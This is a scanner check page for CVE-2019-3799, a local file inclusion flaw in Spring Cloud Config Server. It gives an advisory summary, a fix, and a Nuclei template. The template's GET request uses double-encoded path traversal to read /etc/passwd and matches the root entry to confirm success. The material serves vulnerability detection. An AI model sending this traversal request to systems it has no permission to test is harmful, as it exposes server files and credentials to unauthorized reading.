Spring Cloud Config Server - Local File Inclusion

mediumseverity

6.5CVSS score

85.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.

How to confirm it

Send: GET {{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-3799 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-3799

info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: madrobot
  severity: medium
  description: Spring Cloud Config Server versions 2.1.x prior to 2.1.2, 2.0.x prior to 2.0.4, 1.4.x prior to 1.4.6, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files. An attacker can send a request using a specially crafted URL that can lead to a directory traversal attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://github.com/mpgn/CVE-2019-3799
    - https://pivotal.io/security/cve-2019-3799
    - https://www.oracle.com/security-alerts/cpuapr2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3799
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-3799
    cwe-id: CWE-22
    epss-score: 0.85295
    epss-percentile: 0.99719
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2019,lfi,vmware,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from